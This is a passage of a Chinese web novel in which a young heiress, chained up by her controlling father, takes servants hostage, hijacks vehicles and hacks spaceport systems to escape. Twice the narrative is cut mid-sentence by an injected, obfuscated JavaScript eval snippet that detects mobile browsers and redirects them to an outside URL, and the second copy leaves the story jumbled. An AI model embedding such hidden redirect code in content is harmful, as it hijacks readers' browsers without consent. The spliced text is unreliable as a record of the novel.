以诺接着问:“现在呢,对于你莽撞的‘寻母冒险’,你有什么感想?” 伊冯眼前浮现昏迷前罗莎蒙德仇视的、充满恶意的脸,她茫然地看向以诺,想得到答案:为什么母亲是恨她的? 但看到以诺那居高临下、审问般的姿态,伊冯无法吐露真心。 她低着头,寻求着能缓解父亲坏心情的最优解:“对不起,我以为这只是个快去快回的短暂出游。我太冲动,没有考虑风险……您说得对,外面的世界比我想象得危险得多。” 以诺问:“你真的这么想?” 伊冯乖巧地点头说:“是的,还没有出元星的时候,我就有考虑过回家。我以为有追龙的护送就能确保安全,没想到……” “这个世界上到处都是你想不到的危险,就算是元星,对于你来说也是危机四伏。”以诺走到床边牵起伊冯的右手,“这次出行对我们最大的收获,就是你终于能理解我的用心,明白我有多么小心地在保护你。” 伊冯乖顺地任由以诺牵高她的手,以诺的语气还是很怪,为了将来还能找到机会出行,至少现在得把以诺安抚好,才能让他降低戒心。 “咔哒。” 伊冯手腕一沉,猝不及防看到以诺用一个连着链条的手环扣住了她。 她没能立刻理解自己被做了什么。 以诺翻动着伊冯的手腕检查手环是否贴合,他说:“现在开始,这条链子的长度决定你的活动范围。” “你在干什么?!”伊冯顾不上装乖女儿,把手扯回来找手环的锁眼。 手环的精密超出了伊冯的认知,如果忽略连在床脚的金属链子,这个铐子本身精美得像艺术馆里价值不菲的古董首饰,细密繁复的刻纹、色彩丰富的镶嵌宝石点缀,看得人眼花。 以诺故作疑惑:“这不是你熟悉的机械锁或电子锁,以你目前所学,是打不开的。为什么想解开它?我还以为你已经明白了。” 伊冯怒吼道:“我要明白什么才能明白我的父亲为什么会是一个给女儿栓链子的疯子?!” 以诺说:“空港人多眼杂,即使我第一时间封锁消息,这件事还是在塔顶会议上被当做消遣的笑话——作为阿吉斯的继承人,你却做出这样让家族蒙羞的行动,难道不该接受惩罚?” 伊冯质问道:“如果不是你限制我外出的自由,我怎么需要出走?还有第二个像我这样被软禁的所谓继承人吗?!” 以诺不为所动,语气依然平稳得冷淡:“同世代里,你是唯一确认可以成为下一任家主的继承人,你不用像其他家的孩子那样争夺继承权,对于阿吉斯,你的安全必须是第一位。等你成了阿吉斯的主人,你当然可以决定你想去哪;但在我还是家主的现在,你必须听话,顺从,在元星学习成为阿吉斯主人需要学会的一切。” 被拴上链子的屈辱感让以诺的每句话都刺激着伊冯的神经,她扯着链子去抓以诺的领口。铁链在伊冯的动作中叮当作响,以诺从容地退到铁链长度之外的距离。 她挣扎着喊着:“你为什么要这么对我?!我受够你那些谜语!告诉我!为什么要限制我的自由,为什么母亲会厌弃我!” “你太在意这些无关紧要的事了,就算得到答案,又有什么好处?你是个聪明的孩子,别做蠢事——你不会想像洛佑那样,成为一个被提及都觉得羞耻的名字。”以诺背手,仪态优雅地走出纯白的房间,按动墙上的密码盘关门。 挣扎至力竭的伊冯倚靠着床坐在地上,看着门外模糊的人影。 以诺的声音清晰地传进来:“我知道你最擅长应付机械机器,但是,就算你能解开所有的锁,无论你跑到哪里,我都能找到你,把你带回来。你也知道我做得到,我不是会纵容任性孩子的父亲。你这一次擅自离家,惩罚是一个月禁闭,如有再犯,我会采取更进一步的手段来纠正你。在这里的这段时间,我希望你能重新想好你究竟是谁,作为阿吉斯家的继承人,什么是你应该做的。” “叮!” 回答他的是铁链被猛地绷直发出的声音。 “一个月后是开学日,你要用这一个月告诉我,你可以被解除禁足,还是只能在这里完成学业。” 以诺的脚步声渐远,直到一声沉重的闭合声阻断行走的声音。 “疯子……”伊冯攥紧拳头从地上爬起来,环顾四周。 这个地下室远比她记忆里的那个大,能让以诺在元星建起这样的地下室的地方,只有阿吉斯家的主宅。看来他早有搬回主宅居住的打算。 以诺刚才说一个月后是开学日——也就是说她被罗莎蒙德迷晕后,过了两个月才恢复意识,难怪身体这么无力。 “!” 伊冯突然想到什么,翻动着自己的手臂上下查看,在右手上臂外侧发现一个针眼。 从她有记忆以来,以诺会定期给她做一套全面的检查,近年更是频繁抽血化验,伊冯只知道“健康”的结论,从没看过那些体检报告和化验单。 从布莱德星到元星,如果不使用空间跳跃技术,航行时长正好是两个月。难道以诺早知道她体质特殊,知道她会受空间跳跃技术影响? 就算她问,以诺也不会如实相告。连她生母的信息,在以诺嘴里也没几句切实的话,更何况他费心囚禁自己也要隐瞒的特殊体质问题。 伊冯拽住铁链,摸到连在床脚的另一端。 床脚被一个小匣子包住,铁链从匣子中间的缺口伸出。 缺口边缘环环紧扣着一圈金属块,应该是用来限制链条长度的,从结构判断,她每解开一块,应当能把铁链从匣子里拽出一段。结合匣子的大小、铁链的粗细和她拽动链子时匣内传回的声音和震动,这条链子的总长度刚好够让她走到出口,并且是一个刚好让她够不到门的距离。 伊冯脑内预演着她拖着链子走到门口的情景:站着伸长手够不到,用脚就好了,要开门得先找到设置在内部的应急开关,门上或者周边应当有感应区……以诺很可能为了关住她加设密码,不过附在安全钮上的密码复杂不到哪去,否则会与安保系统冲突。 听以诺离开的动静,训练室门到地下室门之间没有机关,地下室之外是她早知道构造的主宅,就算以诺升级过安保系统,也难不住她。 预演到这遇上的都算不上难题。最大也是唯一的问题,是以诺趁她不备扣上的手环,不解决这个东西,预演里的后续步骤都没有意义。 伊冯找出记忆里木原曾骂过追龙的那几个词,此刻她真想全送给以诺听听。 伊冯躺回床上,捧着手腕研究这个手环。 链子和手环不是一体,是在手环合上之前穿过链环连上的。手环贴合伊冯的手腕,没有能从手掌褪下的余量,导致链环陷在皮肤里,时刻用不适为伊冯的反感加码。 伊冯看不懂手环的结构,她根本找不到缝隙。以诺拿出这东西给她戴上时她为什么低着头没看呢,如果知道手环没扣上之前的样子,不至于像现在这样毫无头绪。 伊冯在脑内不断列出可能性又一个个否决,最后只想明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621579|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白她现在对这个手环毫无办法这件事。 她放下右手,看向左手腕上的终端手环。 她保存着一些塔的研发资料。以诺用来锁住她的手环肯定是塔的产物,或许她能在塔的资料里面找到一些共通的研发思路。 伊冯打开终端,看到主界面上亮着可接入内网的提示标。 “……”对啊,她已经接入内网了。 虽然不知道内网在这种情况下能帮到她什么,不过,或许能好运找到有用的资料。 躺平、躺正,盖好被子,做出一副认命入睡的样子,伊冯闭眼登入内网。 空白的空间在伊冯眼前展开,彩色的粒子漂浮,组成文字。 【系统默认原始用户名与虚拟形象仅供参考,不可登入内网,是否进行设置?】 【是】 【您已选择由系统随机生成用户名,为您生成中,请稍后……】 【您的用户名已生成,请确认。如需更改,请设置。】 【确认】 【您已选择系统随机生成虚拟形象,为您生成中,请稍后……】 【您的虚拟形象已生成,请确认。如需更改,请设置。】 【确认】 【您的用户名与虚拟形象已上传保存。认证通过,是否现在接入内网总区大厅?】 【是】 最后点下“是”的浮标,伊冯眼前掠过无数光点,在她面前组合出光筑成的街景。 仰头看着延伸向白色天空的高楼,顶端渐浅没了形状,仿佛画纸上随意挥出的一笔。 伊冯新奇地在这个白色的世界里建成的斑斓城市中走动,虚拟的身体操控起来和现实的身体差别不大,为了实现这一点,系统应该有在操作反馈上故意制造延迟,以达到这具身体具备重量的错觉。至于其他手段,伊冯无法通过短时间内的体验得出结论,深入到编程层面探究背后的运作程序容易违规,伊冯翻转手掌观察了一会儿自己的“身体”就收起探求欲。 时间有限,先找资料。 还没走出几步,消息栏突然发出一连串的提示音。 内网的听觉是直接反馈于神经的刺激吗,耳朵没什么感觉,她却比平时更觉得这样的声音吵闹。 伊冯先摸出设置把提示音关了,再打开消息。 十几条消息来自同一个发件人。 【独木就是林】:天啊你终于上线了!!!!你在哪!坐标发我!!!!! 木原? 伊冯才发了位置,就看到前方有一团粉云向她冲来。 “天啊!你终于被放出来了!你还好吗?你爸没骂你吧?”木原的虚拟形象张开双臂给了伊冯一个有力的拥抱,对伊冯没有音讯的两个月问长问短。 得知伊冯刚从长达两个月时间的昏迷苏醒,紧接着又被锁住,木原柠檬黄皮肤的虚拟形象登时成了个红柠檬,比粉色的爆炸头还要亮,气急败坏地骂了一串。 骂人词汇微薄的伊冯对于木原替她骂出来的话表示了肯定。 伊冯趁木原暂时住口想词时问:“我还没问你,他肯定也知道了你有帮我出走,他,有找你家里麻烦吗?” 红柠檬变回了黄柠檬。 木原说:“比起你现在的情况,那些也算不上什么了。” 听木原支吾回答,伊冯明白以诺一定给木家添了大麻烦。 伊冯说:“对不起,连累你了。” 木原摆手说:“错的不是你,不该是你道歉——先别管这个,你说的那种手环,我认识的一个人应该能有些点子。” 伊冯很意外:“真的?!” “她在内网可有名了,只要钱到位,就没有解决不了的事。”木原的手在空中划拉了几下拉出聊天界面,“不过因为总收钱干些灰色地带的活,她现在是网警的重点关注对象,为了避风头,她最近都不接单了……好,她在线。你和她说吧。” 伊冯接受了跳出来的聊天申请,边给那个叫“陪玩二号”的用户描述手环的特征,边问木原:“她不是不接单吗?” “出钱够多她还是会接的。只要网警查不到交易信息,就没证据抓人。”木原对伊冯眨了下眼,“记得把我发你的消息删了。” 只要删除聊天记录网警就查不到,网警的权限等级?会不会太低了? 伊冯刚把思维发散,对面已经回复了消息。 【陪玩二号】:为什么你不把床拆了? 8. 暗格 拆床? 伊冯的脑中随着这两个字出现了她正躺着的床的结构,一张常见的普通自动折叠床,床身为了实现易搬运、好组装的功能,有数十个折叠接口,是对着衔接处施力非常容易被暴力破坏的结构。 非常直白的解决方案,粗暴,且显而易见地具备可行性。 这样简单的方法,她不该想不到。为什么她想不到? 她的思维太“寻常”了,所以才解不开以诺束缚她的链条,所以才被以诺猜中她离家后的去向被抓回来。 就像以诺说的,就算她能逃出地下室、逃出阿吉斯主宅、离开元星,她还是会被发现行踪带回来。 再这样下去,她一辈子逃脱不了以诺的掌控。 所有规则内的、常规的方法,必然会被以诺预判识破,为了离家出走,她可以“违规”到什么程度?为了自己的自由,她有“不顾一切”的勇气吗? 【种子圆】:(转账二十万)谢谢。 【陪玩二号】:(收款成功)我就喜欢你这样爽快的客户,有问题再找我~ 陪玩二号发了好几个闪得人眼花的动图,伊冯关闭聊天窗口和木原道别。她得抓紧去拆床,谁知道以诺会不会也想到要防她这手。 伊冯退出内网的时机正好,她睁开眼时,佣人打开已成她囚笼的训练室的门,推着餐车进来。 佣人面带微笑,对于她被囚禁的现状视若无睹,动作优雅地展开餐车的一块挡板做桌面,将另一侧的挡板折叠做凳子,把食物按部就班地摆上,躬身请伊冯用餐。 伊冯看了眼终端上的时间,问:“父亲呢?他不与我共进晚餐吗?” 佣人说:“老爷公务繁忙,不在宅内。” 又是研究塔的事?这么忙还要千里迢迢把她绑回来,变态控制狂。 伊冯发现自己已经很习惯在心里骂以诺了——虽然有些微的愧疚,但心情意外地舒畅许多。 她坐在餐车前,看着这些让她毫无食欲的东西。 她讨厌主宅厨师做的食物。 不是味道或口感的问题——伊冯没有难吃与否的具体概念。 食物在她嘴里只是各种材料的组合,调味品的味道和食材原料各自分离,她能轻松吃出配方的差别,却不知道如何辨别美味与否。影响她对一份食物的喜好的,是进食时的心情、共食的人,还有制作者。 喜欢以诺的蛋糕,是因为那是以诺难得给她的作为家人的柔情。 在布莱德星吃到的红丝绒,如今回想起来,也没意思。 伊冯吃完碗里的食物,用佣人递来的丝帕搽干净嘴角,起身看着她收拾餐车。 伊冯说:“父亲有说他什么时候回来吗?我想见他。” 佣人手上不停,弯腰把餐车挡板复原,回答说:“老爷说,小姐不必说什么想见他的话,您不会这么快就反省,请好好留在这里,等老爷来见。” 伊冯说:“哦。” “叮!” 链条被挥出弧线发出清脆的碰撞声,勒住佣人的脖子——伊冯抓着链条把她拉到身前,单手抓住在佣人后颈交叉的链条,另一只手捂住她惊叫的嘴。 佣人的双手慌乱地抓挠脖子上的链条和伊冯的手,伊冯忍着痛用力按住她:“我们父女之间有点小矛盾而已,我只是想出去,没必要伤害你,你也没必要为了拦着我拼命,对吧?我哪怕是把这老宅子拆了,父亲又能怎么罚我,而你如果不帮忙——我是阿吉斯未来的家主,得罪我可不划算。你配合点,和我演一个被我挟持的戏,事后父亲也不会太怪罪你,怎么样?” 佣人停下乱抓的手,急促的呼吸喷洒在伊冯的掌心,发出含糊的声音。 伊冯说:“我松开,你要是乱叫,别怪我弄疼你。” 佣人连连点头表达自己的配合,伊冯松开她的嘴抓住她的肩膀,带着佣人回到床边。 伊冯抬脚勾开床单,压着佣人蹲下去让她的视线与床平齐,说:“我手占满了,帮帮忙,拆几个螺丝。” 佣人不敢不听话,一板一眼地跟着伊冯的指挥,握紧伊冯递来的勺子,用柄部拆卸床腿。 这种折叠床就算徒手拆卸也不算难事,即使佣人太紧张手抖,套着链条的床腿还是顺利被卸下。 床腿上还有套着链条的小匣子,伊冯本想继续指挥她解开,外面突然传来脚步声。 “为什么这么久?即使关禁闭,也不能纵容小姐拖沓进餐时间……你们在做什么?” 是老管家。 伊冯抓着佣人站起来,把人挡在身前。 管家是阿吉斯的老人,到以诺这代,已经侍奉了三代阿吉斯的家主。他说话平直、发音标准,比机器人们更缺少生气,仿佛是那栋历史悠久的老宅子的化身。 伊冯不喜欢管家,也讨厌主家大宅。 阿吉斯的大宅和阿吉斯的人,都只是徒有其表,内里空无一物——包括她和以诺,不知目的,空洞地活着。 伊冯本以为管家会和以前每一次见面那样,摆出阿吉斯的规矩训斥她,但他只是迅速转身关门离开。 不好,他会叫守卫过来! 没时间慢慢解锁了,伊冯捞起床腿,架着佣人往外走。 解开门锁密码也会耗费时间,伊冯充分运用新开拓的解题思路,找到应急开关的位置,用床腿直接捅坏关合指令面板,在门因为损坏而反复关合时看准时机冲出去。 守卫们已经围住地下室出口,管家站在守卫队队长身后,看着胡闹的顽劣儿童般,用高高在上的神情,让伊冯放开人、退回她的禁闭室。 伊冯说:“我和父亲不常来主宅,你们不熟悉我们的相处方式。这是我和父亲的小游戏,你们不用参与。” 管家说:“老爷交代我们看管好小姐,不能让小姐离开地下室一步。或许小姐希望我现在就向老爷请示,能否允许小姐这样胡闹?” 伊冯抿唇,她可以忽悠住佣人,就是因为佣人不可能去和以诺确认,并且忌惮她大小姐的身份而不会直白忤逆她。但这个自恃劳苦功高的老管家,从没把她这个“私生女”放眼里,没少劝说以诺与某个门当户对的贵族女人成婚,生一个名正言顺的继承人,他乐见于给她制造麻烦。 佣人只模糊听到伊冯在她耳边说抱歉,双手被拽到背后用铁链缠住,下一秒,脖子上用力勒紧的铁链让她难以呼吸无法思考,只能发出惨叫。 伊冯说:“我只是想出去散散心而已,大家不为难我,我就不记恨谁——否则,你们可以赌赌,父亲是会为几个家佣要我偿命,还是当做什么都没发生?掺和阿吉斯家的父女矛盾,不划算。你们又不像那个老家伙有资历,可能也只有伤了他,父亲才会对我大发雷霆?反过来,如果你们伤到我一丝一毫,你们会是什么下场?” 佣人的哀嚎在伊冯说话时渐渐弱下去,只剩拼命汲取氧气时发出的“嗬嗬”破漏声响。 伊冯瞪着双眼不让自己露出不忍,推着意识模糊的佣人往前走。 守卫们踟蹰不前,眼睁睁看着伊冯走出地下室出口。 管家骂着守卫们懦弱无用,按着终端要联系以诺。 “叮!——” 突然飞来的钝物正中老管家脑门,砸得他眼冒金星。 伊冯拉着铁链把丢出去的床腿拽回来,迅速靠近老管家勒住他的脖子:这里有权限直接联络以诺的只有他,只要以诺不在,这些家佣都奈何不了她;而用管家当人质,显然比一个小佣人有威慑力得多。 伊冯在管家耳边笑道:“老人的脖子比年轻人脆弱得多,您小心,万一我着急没掌握好力度,没命的只有您。” 老管家不知是气还是怕,又或是还没从被伊冯砸的那一下缓过来,哆哆嗦嗦的说不出话。 伊冯架着老管家往前走,守卫们隔着两步远跟着,阻止不了她,又不敢撒手不管。 伊冯回头看了眼被她丢开昏倒在地上的佣人,对离佣人最近的一个护卫说:“送她回房间开医疗仪休息,等她醒了替我道个歉,我原本没想伤她。” 说完,伊冯用力勒住还不老实的老管家,按着记忆中的地图往三楼走。 主宅里给家主的主卧在三楼。以诺藏东西的思路很老套,他会把重要的东西藏在卧房的某处,伊冯想她被收走的武器很可能被放在那里。 或许是伊冯挟持的动作粗鲁,老管家充分体会到伊冯对他毫无尊重可言,走到三楼时,终于懂得惜命地收起傲慢的态度和斥责,老实地被伊冯拖来拽去。 主宅比她们以前住的独栋别墅大了十几倍,伊冯走得不耐烦,拉了路过的清洁机器人变更指令坐上去,让机器人载着去主卧。 好在主卧的空间没有大得太夸张,伊冯看过屋内的陈设后,把老管家用床帘捆在床柱上,先把床头床底翻了一通。 地板和床头的墙上没有异常,装饰画和摆设都很普通,伊冯进更衣间搜寻也没摸出什么特别的东西,依以诺的习惯,能藏东西的地方就只剩书桌了。虽然另有书房,但以诺会在睡前看一遍工作资料,所以会在卧房里放置书桌,这个习惯到了老宅也没变。 伊冯果然在书桌的抽屉里摸到一个暗格,要打开暗格需要输入密码,而且是只要输错一次就会锁死报警的型号。 她在被以诺高度管制没有社交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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伊冯把方便带走的照片揣口袋里,将盒子都盖好合上暗格,快步走回床前把管家解下来放床上。看着神志不清的老人,伊冯感慨自己这一晚上弄昏两个人,也算战绩斐然,希望别再加人了。 卧室外没听见守卫的动静,伊冯走到窗边,楼下围了一圈人。那些守卫大概是想着,随她在宅子里折腾,只要不出阿吉斯家的范围,对以诺都能有个交代。 可惜,不是为了离开她何必折腾。 伊冯捏住定影调到放电模式,略一思考,把铁链在手掌缠了一圈再用右手捏住定影,这样把床腿甩出去时可以定向放电,还能节约输出能量。 伊冯满意地端详着简易组合起来的武器:如果不是铐在她手上还解不开,以诺算是送了她一个新武器。 伊冯抓住没了新指令后自主在房间里做起清洁的机器人,输入新的地点,坐上去离开主卧。 “队长,小姐从房间里出来了。” “我看得到!” 守卫队队长急躁地推开身边的队员,盯着监控画面来回转圈,低声念着工资、扣钱、挨罚等话。 看着监控画面里,坐在清洁机器人上哼着调子摇晃身子的伊冯,守卫们一脸菜色。谁都知道木家因为掺和大小姐离家出走的事而遭殃,上一次小姐跑时住的房子里都是机器,谁知道她们这些活人会是什么待遇? 可真要拦——就像伊冯从地下室出来时说的,谁敢下重手? “队长,小姐这是……去停车场了?” “飞车的能源都切了吗?” “已经按您吩咐的卸掉所有供能箱,启动系统也全部关闭了!” 守卫队队长松了口气,安慰队员们,说:“好,让守在那边的看紧点,没有飞车,就是给小姐翻墙出去,她也得走两天才能下山。只要她出不了阿吉斯的地,我们就能交差。” 才说完,就见停车场方向向天上划出一道银色弧光。 “xxx?!” 队长大骂一声,联络守在停车场的队员:“怎么回事?!为什么还有车能飞?!” “小姐把供能箱装回去了,启动系统……我没看清她怎么弄的,车子就飞了……” 队长捂着额头,虽然想骂下属怎么就看着人把车修好了,但她在场肯定也拦不住——一个贵族大小姐为什么会修飞车?! “队长,我们要追吗?” “追什么追,追上了人不肯回来我们能做什么?阿吉斯家的大小姐被自家守卫追传出去好听吗,到时候还不是我们挨罚。” 队长挥挥手让队员们回岗:“我去找管家联络老爷,小姐也说了,人家父女间的矛盾,还是让老爷决定怎么处置吧。” 她想了想,让人开两辆飞车远远跟着,至少要知道人往哪跑了。 9. 袭击 划破夜空的银色拖尾引得路人注目,也惊起沿途的交通管制机器人追击阻拦。 伊冯操控着飞车躲避,但她开着超速的车子,成了全路线管制机器人的追击目标,甩开一个前面又堵着十个。 “警告!你已超速!请配合降速停靠接受处罚,继续违抗将对你进行警示攻击!” 机器人通过公用频道进入飞车的广播再次发出警告,伊冯看着监控画面,后方的两辆飞车正加速逼近,或许她们觉得这是个抓她回去的好机会。 已经到这一步了,怎么还能想着继续扮演一个守规矩的好孩子呢。 伊冯调出自动驾驶系统,将目的地设置为空港,然后拉出控制面板,从广播反向侵入管制机器人的系统,将机器状态全部更改为待机。 还有后面的两条尾巴,因为阿吉斯的飞车用的是同一套系统,伊冯轻易地强行启动她们的自动驾驶系统,把目的地设置在星球另一端。从她们试图阻止她使用飞车时粗糙的手法来看,没有解除她设置的指令的能耐。 航线上很快干净安静,伊冯捞起还连着床腿的链子,抓紧解开小匣子,将缠在床腿上的链子放出来。套在床腿上的那端链子也套着她手腕上一样的环,伊冯把床腿褪下丢开,看着这个内外不见一丝缝隙的环。如果没有“陪玩二号”的提醒,她可能等到要解开匣子,对着床腿上的环束手无策后,才想到可以拆床。 破坏床是以诺预设给她的解题答案,然后呢,那个循规蹈矩的伊冯就算拎着链子离开床,会直接绑架佣人和管家用暴力破题吗? 伊冯感觉自己似乎被打开了什么开关,跳过正常顺序走进一次没走过的路后,她似乎突然间与以前的自己截然不同,甚至难以揣测从前的那个自己会怎么想。 以诺会想得到吗,他留给她的谜题被她用这么短的时间违规违例解开了,还在安静的元星夜晚引发骚乱,把她的出走宣告全球。 伊冯笑了,大笑着盖过警用频道里纷乱的命令声,沉溺于新生般的喜悦中。 元星的空港总是井然有序的,两个月前发生的短暂骚乱动摇不了它的秩序,它依然是戒备森严、安全的。 防御等级在全宇宙都排得上前列的安防系统在正常运作着,巡逻机器人与人类卫兵交叉组合巡逻,一切正常,没有警报说明没有危险。 正逢两队卫兵交接轮岗,卫兵们终于等来下班时间,松散地走在内部通道里,互相闲聊着休息时的消遣。 老兵搭着新入职卫兵的肩膀偷偷传授摸鱼诀窍,尚未褪去学生稚气的年轻人认真地吸收前辈的每一句教诲,突然听到前辈叫痛。 新兵扭头,揍了老兵一拳的竟然是巡防大队队长。队长对老兵带坏新人的行为很不满,把人拎到一边教训。 新兵忐忑又憧憬地等在一边,等队长似乎训好话准备离开,才忍不住开口搭话问:“队长,您是要去港口吗,不去休息吗?” “今天休得早,我不习惯,去看看。最近某些人散播不良风气,都懒散了。” 队长离开前意有所指地瞪了老兵一眼,把那老兵看得缩脖子,等人走远了才继续拉着新兵说话。 老兵说:“你别管我之前说的话,能认真多久就多久吧——不过队长也是两个月前那事以后才管这么严。我看她也太夸张,那次是意外被佣兵插手,我们这用的可是研究塔供给的最尖端的防护系统,能出什么事?” 新兵懵懂地听着老兵把空港的优点当作自己的荣耀夸赞,捧场地应承着。 来到港口的大队长环视一圈,不满地发现接岗的卫兵居然才刚就位,安检队伍排出长队,这可不是元星空港应该有的效率。 她走向安检队伍前方,想看看是什么降低了安检进港的速度,突然注意到一艘起飞的中型飞艇。她转头看向航班表,有那艘飞行艇的出港信息。但是,她确信她十分钟前看到的航班表上还没有那艘飞艇。 大队长走到安检口,问地检人员:“那边是怎么回事?谁让它插队了?” 地检人员迷茫地核对船只信息:“那不是我负责的……那个是阿吉斯的飞艇?” 大队长冷哼道:“阿吉斯?元星可不是阿吉斯一手遮天的地方——拦下!” 飞艇没有理会空港中控台发出的降落命令,小而轻的敏捷型巡防舰迅速追上飞艇,威吓的子弹瞄着艇身擦边而过,再不听令掉头回港,下一次就会击中艇身。 伊冯仰头望着已向她敞开的浩瀚星海,她完美入侵控制了系统和机器,更改了卫兵们的巡逻路线,还是没能顺利离开。就如以诺所说,她擅长对付机器,但人不像机器那样遵守规则,每个人都有一套完全不同的运转逻辑。 此路不通。 “嗡!——” 子弹打中艇身激活了防护盾,被击中造成的冲击让飞艇产生晃动。 下手真狠啊,对着有阿吉斯家徽标志的飞艇,也能这么果断地发射具备击毁能力的炮弹——空港的卫兵,好像是和阿吉斯关系微妙的罗贝尔家资助的。 她虽然生以诺的气,不介意给他难堪,但左右是她们的家事,可不想落到外人手里当把柄。 伊冯按住提前兴奋起来乱跳的心脏,启动空间跳跃器。 这一次她会被带到哪里? 眼前一瞬的星云扭曲模糊后,在伊冯眼前的是另一片星海浩瀚。 但是,她还站在飞艇里,屏幕上显示的坐标与她开启跳跃器时设置的一致——她没有到另一个世界,只是普通正常地通过跳跃器抵达目的地。 为什么?启动空间跳跃器引起的空间波动,不是诱发她穿越的必要条件吗?她忽略了什么? 没等她理清头绪,飞艇突然剧烈颤动起来,尖锐的警报声响彻船舱——防护盾被打破了! 卫兵居然追到这里了?至于这么执着吗! 伊冯集中精神躲避接连而来的炮弹——不对,那些不是空港卫兵的飞船,空港的装备都是向研究塔采购的,不会使用这些型号不一、款式老旧、改装粗糙的飞行器。 民间武装,佣兵吗?还是星匪? 探测器上检测到在发动攻击的飞行器至少有三十艘,但她的飞艇遭受的攻击远不到那样的规模,她大概是误入某几方势力的战局被误伤了。 伊冯从那些飞行器的改装风格和飞行线路、进攻模式,分辨出这些飞船分属三方,驾驶飞船在这三个阵营边缘躲避攻击、寻找脱离这场混战的时机。 从那些炮弹落在陨石上的爆炸痕迹来看,是违规生产的山寨货,装载过分多的破片,虽然缺乏精确度,但比军用的炮弹伤害范围更大。这种散而广的攻击武器,原本是她的飞艇装备的防护盾最擅长抵御的攻击手段。 她临时破坏飞艇系统获得驾驶权限起飞,也让飞艇的自防护系统受损。正常情况下,这种量级的飞艇防护盾,起码能硬吃半小时的破盾弹。 好在飞艇上惹眼的阿吉斯家徽似乎让混战的几方都懂得分寸,伊冯很顺利地脱离了混战圈,正要检查航线,飞艇再度颠簸,系统尖叫着显示艇身受损。 飞艇中弹了!怎么回事? 伊冯迅速调整着飞艇的运转模式,降低受损部位对飞艇航行的影响,同时寻找袭击源头躲避攻击。 探测器上没有显示,但伊冯看到前方有一艘非制式的飞船,极致强调流线型仿佛水滴的船身和偏黑泛蓝的颜色,让它在外太空中容易被肉眼忽略。反检测不是什么难得的技术,但能躲过研究塔最新的探测器,对方的技术水平可见一斑。 对面的飞船接连发射炮弹,伊冯驾驶着破损的飞艇艰难躲避。她想要和对方沟通,但这片区域的波幅很不稳定,她无法接入对方的通讯系统。 与混战圈里粗制的武器不同,现在猛攻不放的这艘飞船使用的炮弹精度极高,很难甩脱或临时改道让炮弹去炸陨石,伊冯好几次都只能用飞艇不紧要的部位去刮蹭弹身诱爆。她怎么就挑中了一个没装弹药的飞艇?要是有攻击手段,她也不会应对 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视讯界面上,空港的巡防队长说:“我们有向阿吉斯的人问责,但是那边说是系统问题,飞艇上没有人。空港用的系统,阿吉斯的飞车飞艇,应该都是用研究塔研发的系统——那时候空港的出港系统也出现问题,会不会真的是巧合?” “不可能。就算真是巧合,也不能让阿吉斯的轻松揭过。他无非是想着系统是研究塔出的,我们为了不坏研究塔的名声不会把事闹大。” 男人想到什么,忽然展眉发笑,“你们要咬定当时的出港信息里没有阿吉斯的,并且看到了是阿吉斯家的人在操作载具,和交通管制局的继续向阿吉斯问责施加压力。系统方面的问题,我这边处理。” 视讯画面里的人有些犹豫:“先生,阿吉斯用系统当借口,是不是在找台阶?我们穷追不舍,要是真惹恼了……” “哼,阿吉斯能嚣张的资本不过是在塔内的那点话语权。我心里有数,你只管做好你的卫兵队长,之后若无要事不要联系,都知道空港卫兵背后是我罗贝尔家,可是没必要表面上都太亲密。”罗贝尔不以为意。 大队长只能听从应是。 结束通讯的男人拿起桌上的文件,得意地冷笑:“阿吉斯很快就什么都不是了,下次的塔顶会议后,罗贝尔将成为研究塔新的首脑。” 以诺走进位于中央位置的研究室,研究室内,中心的巨大培养罐中装满了蓝色的半透明液体,浸泡在其中的是一团裹满黑色毛发的球状物体,数十名研究人员围在培养罐周围的监测仪器前,安静地忙碌着观察记录。 以诺望着那个物体一会儿,收回视线,走到一台不断变动数字的监测设备前。 终端传来有新讯息的震感,以诺点开,内容在他佩戴的框架眼镜镜片上铺开。 [老爷,小姐开走的那艘飞艇最后一次发出信号是在空港,大概又是小姐做了什么改动,靠定位系统找到小姐的行踪,应该是不行了。交通局和空港的人要求我们明天给她们回应,她们不承认是系统问题。您想怎么处理?] 以诺神色未变,关掉窗口,看过设备上的数据确认无误后,再点开发信窗口输入:派人去每个有中级以上空间跳跃点的地方找,秘密进行,关于小姐的事不许透露半个字。剩下的,你们随机应变。 发出消息后,以诺走向下一台机器,一位研究员正贴在屏幕前录入数据。 以诺看了一会儿,说:“这次也没有引起祂的反应。” 负责记录这台仪器数据的研究员肯定了他的话,说:“祂似乎对我们给出的刺激失去兴趣了。我们会再继续监测一个月,如果依然不见反应,我建议可以暂时放弃以空间波动诱发祂的反应的研究方向。” 以诺说:“这个结论,会让我们失去一种利用祂能量的手段。但排除无用手段,也是重大收获。” 研究员再次肯定了他的说法:“正是这个道理!所有结论都是有意义的!” 看着研究员脸上露骨的欢喜,以诺只是一如既往面无表情地把视线转开,走向下一个仪器。 10. 会议 “塔顶会议”,如它的名字,是一场在研究塔最顶层开办的会议。这场会议的目的,是由研究塔向资助研究经费的各大家族展示过去一年的成果,以及接下来的研究方向,故而有资格参与的原本只有各家族的话事人。 在五十年前研究塔遭遇袭击、星盟盟会为研究塔重建出力后,盟会也有了参与塔顶会议的资格。相比各大家族,盟会不向研究塔投资,在会议上也不会参与大部分决策,只是旁听监督,“确认研究塔在进行对星盟公众有益的研究”。 每家投资给研究塔,自然是对研究塔的成果有某方面的需求,如果有了成果,不必等到会议,第一时间就会被告知投资方——因此会议开始前,各家族的人都知道,此次研究塔的报告没有值得期待的部分。 研究塔内本就为十大家族的人提供监督岗位,方便随时了解研究项目进度,因而这样一场需要话事人出席的会议,本质只是为了讨要投资。 